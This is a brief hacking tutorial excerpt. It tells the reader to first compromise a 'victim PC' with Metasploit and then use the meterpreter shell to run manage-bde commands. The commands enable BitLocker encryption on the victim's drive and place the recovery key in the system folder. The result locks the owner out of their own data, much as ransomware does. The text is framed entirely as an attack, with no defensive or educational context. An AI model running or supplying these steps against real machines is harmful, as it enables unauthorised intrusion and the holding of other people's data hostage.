First Hack the Victim PC Using Metaspolit (Tutorial How to Hack Remote PC)
Once you got the meterpreter session use ‘shell‘command to get command prompt of the target.
Type manage-bde -status and press Enter.
Run the following command to enable BitLocker on your desired PC drive (in my case g drive), store the recovery key on the c:/windows/system drive, and generate a random recovery password
manage-bde -on g: -RecoveryKey c:/windows/system -RecoveryPassword